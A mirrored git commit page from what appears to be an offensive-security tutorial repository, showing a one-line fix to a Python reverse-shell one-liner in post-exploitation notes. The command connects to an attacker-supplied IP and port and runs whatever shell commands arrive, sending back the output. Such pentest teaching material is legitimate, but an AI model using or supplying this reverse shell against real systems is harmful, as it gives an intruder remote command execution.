mirror of
https://github.com/The-Art-of-Hacking/h4cker
synced 2024-11-24 20:03:02 +00:00
Update python_cool_tricks.md
This commit is contained in:
parent
1146ebafc8
commit
453e1ab707
1 changed files with 1 additions and 1 deletions
|
@ -37,4 +37,4 @@ This is useful after exploitation and getting a shell. It allows you to use Linu
|
|||
|
||||
You put your IP address (instead of 10.1.1.1) and the port (instead of 13337) below:
|
||||
|
||||
`python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.1.1.1',1337>))\n while 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"`
|
||||
`python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.1.1.1',1337))\n while 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"`
|
||||
|
|
Loading…
Reference in a new issue